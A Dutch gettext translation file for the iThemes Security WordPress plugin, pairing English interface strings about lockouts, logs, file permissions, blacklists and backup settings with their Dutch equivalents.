"New Admin Username" msgstr "Nieuwe admin gebruikersnaam" #: core/modules/file-permissions/settings-page.php:95 msgid "WARNING" msgstr "WAARSCHUWING" #: core/modules/admin-user/settings-page.php:19 msgid "This feature will improve the security of your WordPress installation by removing common user attributes that can be used to target your site." msgstr "Deze functie zal de beveiliging van je WordPress installatie verbeteren door het verwijderen van veelgebruikte gebruikerseigenschappen die kunnen worden gebruikt om je site aan te vallen." #: core/admin-pages/init.php:31 core/core.php:338 #: core/modules/security-check/settings-page.php:9 msgid "Security Check" msgstr "Beveiligingscontrole" #: core/modules/admin-user/settings-page.php:9 msgid "Admin User" msgstr "Admin gebruiker" #: core/lib/class-itsec-wp-list-table.php:783 msgid "Select All" msgstr "Selecteer alles" #: core/lib/class-itsec-wp-list-table.php:634 msgid "Go to the last page" msgstr "Ga naar de laatste pagina" #: core/lib/class-itsec-wp-list-table.php:627 msgid "Go to the next page" msgstr "Ga naar de volgende pagina" #: core/lib/class-itsec-wp-list-table.php:623 msgctxt "paging" msgid "%1$s of %2$s" msgstr "%1$s van %2$s" #: core/lib/class-itsec-wp-list-table.php:616 msgid "Current page" msgstr "Huidige pagina" #: core/lib/class-itsec-wp-list-table.php:607 msgid "Go to the previous page" msgstr "Ga naar de vorige pagina" #: core/lib/class-itsec-wp-list-table.php:600 msgid "Go to the first page" msgstr "Ga naar de eerste pagina" #: core/lib/class-itsec-wp-list-table.php:580 #: core/lib/class-itsec-wp-list-table.php:1027 msgid "1 item" msgid_plural "%s items" msgstr[0] "1 item" msgstr[1] "%s items" #: core/lib/class-itsec-wp-list-table.php:503 msgid "%s pending" msgstr "%s in afwachting" #: core/lib/class-itsec-wp-list-table.php:476 msgid "Excerpt View" msgstr "Samenvattingen weergave" #: core/lib/class-itsec-wp-list-table.php:475 msgid "List View" msgstr "Lijstweergave" #. translators: 1: month name, 2: 4-digit year #: core/lib/class-itsec-wp-list-table.php:458 msgid "%1$s %2$d" msgstr "%1$s %2$d" #: core/lib/class-itsec-wp-list-table.php:444 msgid "Show all dates" msgstr "Toon alle datums" #: core/lib/class-itsec-wp-list-table.php:352 msgid "Apply" msgstr "Uitvoeren" #: core/lib/class-itsec-wp-list-table.php:342 msgid "Bulk Actions" msgstr "Acties" #: core/lib/class-itsec-wp-list-table.php:206 msgid "No items found." msgstr "Geen items gevonden." #: core/lib/class-itsec-lib-utility.php:159 msgid "Unable to strip comments from the source code as the token_get_all() function returned an unrecognized value (type: %s)" msgstr "Kon commentaren niet uit de broncode verwijderen omdat de token_get_all() functie een niet-herkende waarde gaf (type %s)" #: core/lib/class-itsec-lib-utility.php:152 msgid "Unable to strip comments from the source code as the token_get_all() function is disabled. This is a system configuration issue." msgstr "Kon commentaren niet uit de broncode verwijderen omdat de token_get_all() functie uitgeschakeld is. Dit is een probleem in de systeemconfiguratie." #: core/lib/class-itsec-lib-file.php:334 msgid "Permissions for the file %s could not be read as the fileperms() function is disabled. This is a system configuration issue." msgstr "Permissies voor het bestand %s konden niet worden gelezen omdat de fileperms() functie uitgeschakeld is. Dit is een probleem in de systeemconfiguratie." #: core/lib/class-itsec-lib-file.php:330 msgid "Permissions for the file %s could not be read as the file could not be found." msgstr "Permissies voor het bestand %s konden niet worden gelezen omdat het bestand niet kon worden gevonden." #: core/lib/class-itsec-lib-file.php:286 msgid "The file %s could not have its permissions updated as the chmod() function is disabled. This is a system configuration issue." msgstr "Van het bestand %s konden de permissies niet worden bijgewerkt omdat de chmod() functie uitgeschakeld is. Dit is een probleem in de systeemconfiguratie." #: core/lib/class-itsec-lib-file.php:282 msgid "The file %1$s could not have its permissions updated as non-integer permissions were sent: (%2$s) %3$s" msgstr "Van het bestand %1$s konden de permissies niet worden bijgewerkt omdat niet-integer permissies zijn verzonden: (%2$s) %3$s" #: core/lib/class-itsec-lib-file.php:256 msgid "The file %s could not be removed as the unlink() function is disabled. This is a system configuration issue." msgstr "Het bestand %s kon niet worden verwijderd omdat de unlink() functie uitgeschakeld is. Dit is een probleem in de systeemconfiguratie." #: core/lib/class-itsec-lib-file.php:227 msgid "%s could not be written. This could be due to a permissions issue. Ensure that PHP runs as a user that has permission to write to this location." msgstr "%s kon niet worden geschreven. Dit kan wijzen op een probleem met permissies. Controleer dat PHP draait als een gebruiker met permissies om naar deze locatie te schrijven." #: core/lib/class-itsec-lib-file.php:130 msgid "%s could not be written as a file. The requested path already exists as a directory. The directory must be removed or a new file name must be chosen before the file can be written." msgstr "%s kon niet worden geschreven als een bestand. Het gevraagde pad bestaat al als map. De map moet worden verwijderd of een nieuwe bestandsnaam moet worden gekozen voordat het bestand kan worden geschreven." #: core/lib/class-itsec-lib-file.php:125 msgid "%s could not be written. Both the fopen/fwrite/flock and file_put_contents functions are disabled on the server. This is a server configuration issue that must be resolved before iThemes Security can write files." msgstr "%s kon niet worden geschreven. Zowel de fopen/fwrite/flock als de file_put_contents functie zijn gedeactiveerd op de server. Dit is een probleem in de serverconfiguratie dat moet worden gecorrigeerd voordat iThemes Security bestanden kan schrijven." #: core/lib/class-itsec-lib-file.php:43 msgid "%s could not be read. Both the fopen/feof/fread/flock and file_get_contents functions are disabled on the server." msgstr "%s kon niet worden gelezen. Zowel de fopen/feof/fwrite/flock als de file_get_contents functie zijn gedeactiveerd op de server." #: core/lib/class-itsec-lib-file.php:29 msgid "%s could not be read. It does not appear to be a file." msgstr "%s kon niet worden gelezen. Het lijkt erop dat het geen bestand is." #: core/lib/class-itsec-lib-directory.php:283 msgid "Permissions for the directory %s could not be read as the fileperms() function is disabled. This is a system configuration issue." msgstr "Permissies voor de map %s konden niet gelezen worden omdat de fileperms() functie gedeactiveerd is. Dit is een probleem in de systeemconfiguratie." #: core/lib/class-itsec-lib-directory.php:279 msgid "Permissions for the directory %s could not be read as the directory could not be found." msgstr "Permissies voor de map %s konden niet gelezen worden omdat de map niet kon worden gevonden." #: core/lib/class-itsec-lib-directory.php:207 #: core/lib/class-itsec-lib-file.php:267 msgid "Unable to remove %s due to an unknown error." msgstr "Kon %s niet verwijderen vanwege een onbekende fout." #: core/lib/class-itsec-lib-directory.php:189 msgid "Unable to remove %1$s due to the following error: %2$s" msgstr "Kon %1$s niet verwijderen vanwege de volgende fout: %2$s" #: core/lib/class-itsec-lib-directory.php:182 msgid "The directory %s could not be removed as the rmdir() function is disabled. This is a system configuration issue." msgstr "De map %s kon niet worden verwijderd omdat de rmdir() functie gedeactiveerd is. Dit is een probleem in de systeemconfiguratie." #: core/lib/class-itsec-lib-directory.php:165 msgid "The directory %s could not be created due to an unknown error. This could be due to a permissions issue." msgstr "De map %s kon niet worden gemaakt vanwege een onbekende fout. Dit komt mogelijk door een probleem met de permissies." #: core/lib/class-itsec-lib-directory.php:145 msgid "The directory %s could not be created as an existing parent directory could not be found." msgstr "De map %s kon niet worden gemaakt omdat een bestaande hoofdmap niet kon worden gevonden." #: core/lib/class-itsec-lib-directory.php:134 msgid "The directory %s could not be created as the mkdir() function is disabled. This is a system configuration issue." msgstr "De map %s kon niet worden gemaakt omdat de mkdir() functie gedeactiveerd is. Dit is een probleem in de systeemconfiguratie." #: core/lib/class-itsec-lib-directory.php:130 msgid "The directory %s could not be created as a file with that name already exists." msgstr "De map %s kon niet worden gemaakt omdat een bestand met die naam al bestaat." #: core/lib/class-itsec-lib-directory.php:89 #: core/lib/class-itsec-lib-file.php:101 msgid "%s could not be read due to an unknown error." msgstr "%s kon niet worden gelezen vanwege een onbekende fout." #: core/lib/class-itsec-lib-directory.php:38 msgid "%s could not be read. Both the opendir/readdir/closedir and glob functions are disabled on the server." msgstr "%s kon niet worden gelezen. Zowel de opendir/readdir/closedir als de glob functie zijn gedeactiveerd op de server." #: core/lib/class-itsec-lib-config-file.php:560 #: core/lib/class-itsec-lib-config-file.php:563 msgid "Do not modify or remove this line" msgstr "Deze regel niet wijzigen of verwijderen" #: core/lib/class-itsec-lib-config-file.php:302 msgid "Unable to read %1$s due to the following error: %2$s" msgstr "Kon %1$s niet lezen vanwege de volgende fout: %2$s" #: core/lib/class-itsec-lib-config-file.php:258 #: core/lib/class-itsec-lib-config-file.php:279 msgid "Updates to <code>wp-config.php</code> are disabled via a filter." msgstr "Wijzigingen in <code>wp-config.php</code> zijn gedeactiveerd via een filter." #: core/lib/class-itsec-lib-config-file.php:66 #: core/lib/class-itsec-lib-config-file.php:182 msgid "iThemes Security preserved the following settings as removing them could prevent the site from functioning correctly." msgstr "iThemes Security heeft de volgende instellingen behouden, omdat deze verwijderen zou kunnen resulteren in een niet correct functionerende site." #: core/modules/ssl/settings-page.php:47 msgid "Enabled" msgstr "Ingeschakeld" #: core/modules/content-directory/settings-page.php:38 #: core/modules/database-prefix/settings-page.php:31 #: core/modules/security-check/scanner.php:97 msgid "No" msgstr "Nee" #: core/modules/ssl/settings-page.php:56 msgid "Off" msgstr "Uit" #: core/modules/content-directory/settings-page.php:37 #: core/modules/database-prefix/settings-page.php:30 #: core/modules/global/settings-page.php:73 #: core/modules/security-check/scanner.php:97 msgid "Yes" msgstr "Ja" #: core/modules/file-permissions/settings-page.php:115 #: core/modules/file-permissions/settings-page.php:124 msgid "Value" msgstr "Waarde" #: core/modules/file-permissions/settings-page.php:117 #: core/modules/file-permissions/settings-page.php:126 msgid "Status" msgstr "Status" #: core/modules/file-permissions/settings-page.php:116 #: core/modules/file-permissions/settings-page.php:125 msgid "Result" msgstr "Resultaat" #: core/modules/file-permissions/settings-page.php:114 #: core/modules/file-permissions/settings-page.php:123 msgid "Suggestion" msgstr "Suggestie" #: core/modules/file-permissions/settings-page.php:113 #: core/modules/file-permissions/settings-page.php:122 msgid "Relative Path" msgstr "Relatief Pad" #: core/notify.php:96 core/notify.php:160 msgid "Daily Security Digest" msgstr "Dagelijkse Beveiligingsupdate" #: core/admin-pages/page-logs.php:240 core/logger.php:265 msgid "All Log Data" msgstr "Alle logboekgegevens" #: core/logger.php:263 msgid "Select Filter: " msgstr "Selecteer filter:" #: core/logger.php:261 msgid "To adjust logging options visit the global settings page." msgstr "Om logboek-instellingen te wijzigen bezoek je de globale instellingen pagina." #: core/admin-pages/page-logs.php:274 msgid "To view logs within the plugin you must enable database logging in the Global Settings. File logging is not available for access within the plugin itself." msgstr "Om logboeken binnen de plugin te bekijken, moet je database logboeken in de Globale Instellingen activeren. Bestand logboeken is niet beschikbaar voor toegang binnen de plugin zelf." #: core/admin-pages/page-logs.php:393 msgid "Clear Logs" msgstr "Logboeken leegmaken" #: core/admin-pages/page-logs.php:390 msgid "Use the button below to purge the log table in your database. Please note this will purge all log entries in the database including 404s." msgstr "Gebruik onderstaande knop om de logboeken tabel in je database te wissen. Dit zal alle logboek-gegevens in de database wissen, inclusief 404's." #: core/admin-pages/page-logs.php:387 msgid "log entries." msgstr "logboek-gegevens." #: core/admin-pages/page-logs.php:386 msgid "Your database contains" msgstr "Je database bevat" #: core/admin-pages/page-logs.php:382 msgid "Log Summary" msgstr "Logboek samenvatting" #: core/logger-all-logs.php:203 msgid "Data" msgstr "Data" #: core/logger-all-logs.php:202 #: core/modules/404-detection/class-itsec-four-oh-four-log.php:90 msgid "Referrer" msgstr "Verwijzer" #: core/logger-all-logs.php:201 msgid "URL" msgstr "URL" #: core/logger-all-logs.php:200 #: core/modules/malware/class-itsec-malware-log.php:193 #: core/sidebar-widget-active-lockouts.php:49 #: core/sidebar-widget-temp-whitelist.php:48 msgid "User" msgstr "Gebruiker" #: core/logger-all-logs.php:199 #: core/modules/404-detection/class-itsec-four-oh-four-log.php:90 #: core/modules/brute-force/class-itsec-brute-force-log.php:87 #: core/sidebar-widget-active-lockouts.php:64 #: core/sidebar-widget-temp-whitelist.php:63 msgid "Host" msgstr "Host" #: core/logger-all-logs.php:198 #: core/modules/404-detection/class-itsec-four-oh-four-log.php:90 #: core/modules/brute-force/class-itsec-brute-force-log.php:86 #: core/modules/malware/class-itsec-malware-log.php:190 msgid "Time" msgstr "Tijd" #: core/logger-all-logs.php:197 msgid "Priority" msgstr "Prioriteit" #: core/logger-all-logs.php:196 msgid "Function" msgstr "Functie" #: core/logger-all-logs.php:176 #: core/modules/file-change/class-itsec-file-change-log.php:106 #: core/modules/file-change/class-itsec-file-change-log.php:182 #: core/modules/malware/class-itsec-malware-log.php:41 #: core/modules/malware/class-itsec-malware-log.php:52 #: core/modules/malware/class-itsec-malware-log.php:194 msgid "Details" msgstr "Details" #: core/lockout.php:1088 msgid "Site Lockout Notification" msgstr "Melding voor site uitsluiting" #: core/lockout.php:1070 msgid "Permanently" msgstr "Permanent" #: core/lockout.php:982 msgid "The selected lockouts have been cleared." msgstr "De geselecteerde uitsluitingen zijn opgeschoond." #: core/lockout.php:878 msgid "Host or User Lockout" msgstr "Host of gebruiker uitsluiten" #: core/lockout.php:761 core/lockout.php:790 msgid "White Listed" msgstr "Ge-whitelist" #: core/lockout.php:422 core/lockout.php:432 msgid "no" msgstr "nee" #: core/lockout.php:422 core/lockout.php:432 msgid "yes" msgstr "ja" #: core/lockout.php:420 msgid "Your current settings are configured as follows:" msgstr "Je huidige instellingen zijn als volgt geconfigureerd:" #: core/lockout.php:416 msgid "About Lockouts" msgstr "Over Uitsluitingen" #: core/lockout.php:382 core/modules/global/settings.php:15 msgid "You have been locked out due to too many invalid login attempts." msgstr "Je bent uitgesloten naar aanleiding van teveel ongeldige inlog pogingen." #: core/lockout.php:329 msgid "A whitelisted host has triggered a lockout condition but was not locked out." msgstr "Een ge-white liste host heeft een uitsluitingsconditie geactiveerd, maar is niet uitgesloten." #: core/sidebar-widget-active-lockouts.php:6 #: core/sidebar-widget-temp-whitelist.php:6 msgid "Active Lockouts" msgstr "Actieve Uitsluitingen" #: core/modules/wordpress-tweaks/settings-page.php:33 msgid "Allow" msgstr "Toestaan" #: core/modules/global/settings-page.php:121 msgid "The message to display to a user when their account has been locked out." msgstr "Het bericht dat aan een gebruiker getoond word als hun account uitgesloten is." #: core/modules/global/settings-page.php:251 msgid "If you're not using a proxy service such as Varnish, Cloudflare or others turning this on may result in more accurate IP detection." msgstr "Als je geen proxy service zoals Varnish, Cloudflare of andere gebruikt, kan het activeren hiervan resulteren in meer accurate IP-detectie." #: core/modules/global/settings-page.php:250 msgid "Disable Proxy IP Detection" msgstr "Deactiveer Proxy IP-Detectie" #: core/modules/global/settings-page.php:90 msgid "The email address(es) all security notifications will be sent to. One address per line." msgstr "De e-mailadressen waarnaar alle beveiligingsnotificaties gezonden zullen worden. Een adres per regel." #: core/modules/global/settings-page.php:199 msgid "iThemes Security can log events in multiple ways, each with advantages and disadvantages. Database Only puts all events in the database with your posts and other WordPress data. This makes it easy to retrieve and process but can be slower if the database table gets very large. File Only is very fast but the plugin does not process the logs itself as that would take far more resources. For most users or smaller sites Database Only should be fine. If you have a very large site or a log processing software then File Only might be a better option." msgstr "iThemes Security kan gebeurtenissen op meerdere manieren vastleggen in de logboeken, elk met zijn voor- en nadelen. Alleen database plaatst alle gebeurtenissen in de database met je berichten en andere WordPress-data. Dit maakt het eenvoudig op te halen en verwerken, maar kan trager zijn als de database-tabel erg groot wordt. Alleen bestand is erg snel, maar de plugin verwerkt de logboeken niet zelf omdat dit veel meer resources zou gebruiken. Voor de meeste gebruikers en kleinere sites zou Alleen database moeten voldoen. Als je een erg grote site hebt of software voor het verwerken van de logboeken, dan kan Alleen bestand een betere optie zijn." #: core/modules/global/settings-page.php:198 msgid "How should event logs be kept" msgstr "Hoe gebeurtenis logboeken moeten worden bijgehouden" #: core/modules/global/validator.php:70 msgid "Both" msgstr "Beide" #: core/modules/global/validator.php:69 msgid "File Only" msgstr "Alleen bestand" #: core/modules/global/validator.php:68 msgid "Database Only" msgstr "Alleen database" #: core/modules/global/settings-page.php:207 msgid "The number of days database logs should be kept. File logs will be kept indefinitely but will be rotated once the file hits 10MB." msgstr "Het aantal dagen dat database logboeken moeten worden bewaard. Bestand logboeken worden oneindig bewaard, maar zullen roteren zodra het bestand 10 MB groot is." #: core/modules/backup/settings-page.php:110 msgid "Restore Default Location" msgstr "Herstel standaardlocatie" #: core/modules/backup/settings-page.php:108 #: core/modules/global/settings-page.php:215 #: core/modules/global/settings-page.php:242 msgid "This path must be writable by your website. For added security, it is recommended you do not include it in your website root folder." msgstr "Dit pad moet schrijfbaar zijn door je website. Voor toegevoegde beveiliging, is aan te raden dat je dit niet insluit in je website root map." #: core/modules/global/settings-page.php:214 msgid "The path on your server where log files should be stored." msgstr "Het pad op je server waar logboekbestanden moeten worden opgeslagen." #: core/modules/global/settings-page.php:183 msgid "This white list will prevent any IP listed from triggering an automatic lockout. You can still block the IP address manually in the banned users settings." msgstr "Deze white list zal voorkomen dat opgenomen IP-adressen een automatische uitsluiting kunnen activeren. Je kan het IP-adres nog steeds handmatig blokkeren in de verbannen gebruikers instellingen." #: core/modules/ban-users/settings-page.php:57 #: core/modules/global/settings-page.php:180 msgid "Enter only 1 IP address or 1 IP address range per line." msgstr "Geef 1 IP-adres of 1 IP-adres range per regel op." #: core/modules/ban-users/settings-page.php:60 #: core/modules/global/settings-page.php:182 msgid "Lookup IP Address." msgstr "IP-adres Traceren." #: core/modules/global/settings-page.php:170 msgid "Use the guidelines below to enter hosts that will not be locked out from your site. This will keep you from locking yourself out of any features if you should trigger a lockout. Please note this does not override away mode and will only prevent a temporary ban. Should a permanent ban be triggered you will still be added to the \"Ban Users\" list unless the IP address is also white listed in that section." msgstr "Gebruik de richtlijnen hieronder om hosts in te voeren die niet uitgesloten zullen worden van je site. Dit weerhoudt je ervan jezelf uit te sluiten van functies in het geval dat je een uitsluiting activeert. Let op dat dit de afwezigheidsmodus niet overschrijft en alleen een tijdelijke verbanning zal voorkomen. Indien een permanente verbanning wordt geactiveerd, wordt je nog steeds aan de \"Verbannen Gebruikers\" lijst toegevoegd, tenzij het IP-adres ook in die sectie is ge-white list." #: core/modules/global/settings-page.php:169 msgid "Add my current IP to the White List" msgstr "Voeg mijn huidige IP-adres toe aan de white list" #: core/modules/404-detection/settings-page.php:30 #: core/modules/brute-force/settings-page.php:46 #: core/modules/global/settings-page.php:161 msgid "Minutes" msgstr "Minuten" #: core/modules/global/settings-page.php:113 msgid "The message to display when a computer (host) has been locked out." msgstr "Het bericht dat wordt getoond als een computer (host) is uitgesloten." #: core/lockout.php:394 core/modules/global/settings.php:14 msgid "error" msgstr "fout" #: core/modules/global/settings-page.php:224 msgid "Enable InfiniteWP Compatibility" msgstr "Activeer InfiniteWP Compatibiliteit" #: core/modules/global/settings-page.php:258 msgid "Hide security menu in admin bar." msgstr "Verberg beveiligingsmenu in de toolbar." #: core/modules/global/settings-page.php:190 msgid "Enable Email Lockout Notifications" msgstr "Activeer e-mailmeldingen voor uitsluiting" #: core/modules/global/settings-page.php:98 msgid "During periods of heavy attack or other times a security plugin can generate a LOT of email just telling you that it is doing its job. Turning this on will reduce the emails from this plugin to no more than one per day for any notification." msgstr "Gedurende periodes van veel aanvallen of andere drukke tijden, kan een beveiligingsplugin VEEL e-mails genereren, enkel om je te vertellen dat het zijn werk doet. Deze functie activeren zal het aantal e-mails van deze plugin verlagen tot niet meer dan één per dag voor meldingen." #: core/modules/global/settings-page.php:97 msgid "Send digest email" msgstr "Stuur samenvattings-e-mail" #: core/modules/global/settings-page.php:114 #: core/modules/global/settings-page.php:122 #: core/modules/global/settings-page.php:130 msgid "You can use HTML in your message. Allowed tags include: a, br, em, strong, h1, h2, h3, h4, h5, h6, div." msgstr "Je kan HTML gebruiken in je bericht. Toegestane tags zijn: a, br, em, strong, h1, h2, h3, h4, h5, h6, div." #: core/modules/global/settings-page.php:129 msgid "The message to display to a user when their IP has been flagged as bad by the iThemes network." msgstr "Het bericht dat wordt getoond aan een gebruiker als hun IP-adres is gemarkeerd als slecht door het iThemes netwerk." #: core/lockout.php:370 core/modules/global/settings.php:16 msgid "Your IP address has been flagged as a threat by the iThemes Security network." msgstr "Je IP-adres is aangemerkt als bedreiging door het iThemes Security netwerk." #: core/modules/global/settings-page.php:154 msgid "How many days should a lockout be remembered to meet the blacklist count above." msgstr "Hoeveel dagen moet een uitsluiting worden herinnerd om mee te tellen in de zwarte lijst-telling hierboven." #: core/modules/backup/settings-page.php:150 #: core/modules/global/settings-page.php:153 #: core/modules/global/settings-page.php:206 msgid "Days" msgstr "Dagen" #: core/modules/global/settings-page.php:146 msgid "The number of lockouts per IP before the host is banned permanently from this site." msgstr "Het aantal uitsluitingen per IP-adres voordat de host permanent is verbannen van deze site." #: core/modules/global/settings-page.php:145 core/notify.php:100 msgid "Lockouts" msgstr "Uitsluitingen" #: core/modules/global/settings-page.php:138 msgid "If this box is checked the IP address of the offending computer will be added to the \"Ban Users\" blacklist after reaching the number of lockouts listed below." msgstr "Wanneer dit veld aangevinkt is, zal het IP-adres van de betreffende computer worden toegevoegd aan de \"Verbannen Gebruikers\" zwarte lijst wanneer het aantal uitsluitingen, zoals hieronder opgegeven, is bereikt." #: core/modules/global/settings-page.php:137 msgid "Enable Blacklist Repeat Offender" msgstr "Activeer zwarte lijst voor recidivisten" #: core/modules/global/settings-page.php:106 msgid "The email address(es) all database backups will be sent to. One address per line." msgstr "De e-mailadressen waarnaar alle database back-ups zullen worden gezonden. Eén adres per regel." #: core/modules/global/settings-page.php:233 msgid "Allow iThemes to track plugin usage via anonymous data." msgstr "Sta iThemes toe om plugingebruik via anonieme data te volgen." #: core/admin-pages/page-logs.php:120 core/lockout.php:978 msgid "Security error!" msgstr "Beveiligingsfout" #: core/modules/global/settings-page.php:255 #: core/modules/global/validator.php:32 msgid "Hide Security Menu in Admin Bar" msgstr "Verberg beveiligingsmenu in toolbar" #: core/modules/global/settings-page.php:247 #: core/modules/global/validator.php:31 msgid "Override Proxy Detection" msgstr "Overschrijf proxy-detectie" #: core/modules/global/settings-page.php:238 #: core/modules/global/validator.php:16 msgid "NGINX Conf File" msgstr "NGINX conf-bestand" #: core/modules/global/settings-page.php:230 #: core/modules/global/validator.php:30 msgid "Allow Data Tracking" msgstr "Data volgen toestaan" #: core/modules/global/settings-page.php:221 #: core/modules/global/validator.php:10 msgid "Add InfiniteWP Compatibility" msgstr "InfiniteWP compatibiliteit toevoegen" #: core/modules/global/settings-page.php:211 #: core/modules/global/validator.php:39 msgid "Path to Log Files" msgstr "Pad naar logboekbestanden" #: core/modules/global/settings-page.php:203 #: core/modules/global/validator.php:44 msgid "Days to Keep Database Logs" msgstr "Dagen om database van logboeken te bewaren" #: core/modules/global/settings-page.php:195 #: core/modules/global/validator.php:47 msgid "Log Type" msgstr "Logboek type" #: core/modules/global/settings-page.php:187 #: core/modules/global/validator.php:29 msgid "Email Lockout Notifications" msgstr "E-mailmeldingen voor uitsluiting" #: core/modules/global/settings-page.php:166 #: core/modules/global/validator.php:49 msgid "Lockout White List" msgstr "Uitsluiting Whitelist" #: core/modules/global/settings-page.php:158 #: core/modules/global/validator.php:43 msgid "Lockout Period" msgstr "Uitsluitingsperiode" #: core/modules/global/settings-page.php:150 msgid "Blacklist Lookback Period" msgstr "Zwarte lijst terugblikperiode" #: core/modules/global/settings-page.php:142 #: core/modules/global/validator.php:41 msgid "Blacklist Threshold" msgstr "Zwarte lijst drempelwaarde" #: core/modules/global/settings-page.php:134 #: core/modules/global/validator.php:28 msgid "Blacklist Repeat Offender" msgstr "Zwarte lijst recidivist" #: core/modules/global/settings-page.php:126 #: core/modules/global/validator.php:37 msgid "Community Lockout Message" msgstr "Community uitsluiting bericht" #: core/modules/global/settings-page.php:118 #: core/modules/global/validator.php:36 msgid "User Lockout Message" msgstr "Gebruiker uitsluiting bericht" #: core/modules/global/settings-page.php:110 #: core/modules/global/validator.php:35 msgid "Host Lockout Message" msgstr "Host uitsluiting bericht" #: core/modules/global/settings-page.php:102 #: core/modules/global/validator.php:52 msgid "Backup Delivery Email" msgstr "Back-up-bezorging e-mail" #: core/modules/global/settings-page.php:94 #: core/modules/global/validator.php:27 msgid "Send Digest Email" msgstr "Verstuur e-mailsamenvatting" #: core/modules/global/settings-page.php:87 #: core/modules/global/validator.php:51 msgid "Notification Email" msgstr "E-mailmelding" #: core/modules/global/settings-page.php:79 #: core/modules/global/validator.php:26 msgid "Write to Files" msgstr "Schrijf naar bestanden" #: core/modules/global/settings-page.php:9 msgid "Global Settings" msgstr "Globale instellingen" #: core/files.php:69 msgid "You must restart your NGINX server for the changes to take effect." msgstr "Je moet je NGINX server herstarten om de wijzigingen door te voeren." #: core/files.php:127 msgid "Quick ban IP. Will be updated on next formal rules save." msgstr "Snel IP verbannen. Zal worden bijgewerkt bij de volgende keer opslaan van de formele regels." #: core/modules/file-writing/settings-page.php:35 msgid "wp-config.php Rules" msgstr "wp-config.php regels" #: core/modules/global/active.php:49 msgid "Get Free API Key" msgstr "Verkrijg een gratis API-sleutel" #: core/modules/global/active.php:48 msgid "New! Take your site security to the next level by activating iThemes Brute Force Network Protection." msgstr "Nieuw. Til de beveiliging van je site naar het volgende niveau door iThemes Brute Kracht Netwerk Beveiliging te activeren." #: core/admin-pages/init.php:29 core/core.php:320 msgid "Security" msgstr "Beveiliging" #: core/modules/backup/settings-page.php:118 msgid "Backups" msgstr "Back-ups" #: core/admin-pages/init.php:35 msgid "Go Pro" msgstr "Neem Pro" #: core/admin-pages/page-settings.php:554 core/lib/class-itsec-mail.php:70 msgid "Pro" msgstr "Pro" #: core/admin-pages/init.php:32 core/core.php:347 msgid "Logs" msgstr "Logboeken" #: core/modules/ssl/settings-page.php:48 msgid "Advanced" msgstr "Geavanceerd" #: core/admin-pages/init.php:29 core/admin-pages/init.php:30 core/core.php:272 #: core/core.php:329 msgid "Settings" msgstr "Instellingen" #. #-#-#-#-# better-wp-security-code.pot (iThemes Security 6.5.1) #-#-#-#-# #. Plugin Name of the plugin/theme #: better-wp-security.php:34 core/admin-pages/page-logs.php:253 #: core/admin-pages/page-settings.php:451 msgid "iThemes Security" msgstr "iThemes Security"
Close